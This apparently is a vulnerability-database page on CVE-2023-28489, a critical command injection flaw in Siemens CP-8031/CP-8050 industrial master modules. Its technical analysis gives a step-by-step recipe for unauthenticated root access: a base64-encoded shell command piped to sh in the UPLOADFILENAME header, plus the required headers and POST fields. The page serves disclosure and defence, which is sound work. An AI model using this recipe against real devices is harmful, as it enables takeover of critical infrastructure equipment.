Attacker Value
Very High
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2023-28489

Disclosure Date: April 11, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A vulnerability has been identified in CP-8031 MASTER MODULE (All versions < CPCI85 V05), CP-8050 MASTER MODULE (All versions < CPCI85 V05). Affected devices are vulnerable to command injection via the web server port 443/tcp, if the parameter “Remote Operation” is enabled. The parameter is disabled by default.
The vulnerability could allow an unauthenticated remote attacker to perform arbitrary code execution on the device.

Add Assessment

1
Ratings
Technical Analysis

To exploit this vulnerability, an HTTP request including the command must be crafted. No / characters can be used, therefore commands are encoded as base64, e.g., “id” as “aWQ=“. The command must be provided as UPLOADFILENAME header.
A full command would look like this
echo aWQ=| base64 -d | sh #

The following header format must be obeyed:
e User-Agent: SICAM TOOLBOX Il
¢ Session-ID: [ARBITRARY 16 CHARACTERS]
e UPLOADFILENAME: [COMMAND]

Additionally, the request body must contain the following POST parameters:
« type=20
« length=[ARBITRARY]
¢ data=[ARBITRARY]

If it worked, the response body will be *type=21”, congrats you’re root now.

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • siemens

Products

  • cp-8031 firmware,
  • cp-8050 firmware

Additional Info

Technical Analysis